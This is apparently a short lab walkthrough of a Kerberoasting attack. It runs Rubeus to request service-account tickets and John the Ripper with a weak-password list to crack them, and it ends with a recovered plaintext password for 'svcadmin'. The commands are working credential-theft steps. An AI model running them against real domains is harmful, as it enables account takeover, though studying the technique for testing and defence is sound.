Untitled

Let’s use Rubeus to list the kerberoastable accounts

.\\Rubeus.exe kerberoast /state /rc4opsec /nowrap /outfile:crackme.txt

Untitled

Now let’s crack it with john

.\\john.exe crackme.txt --wordlist=10k-worst-pass.txt

Untitled

And we got the Password!

svcadmin --> *ThisisBlasphemyThisisMadness!!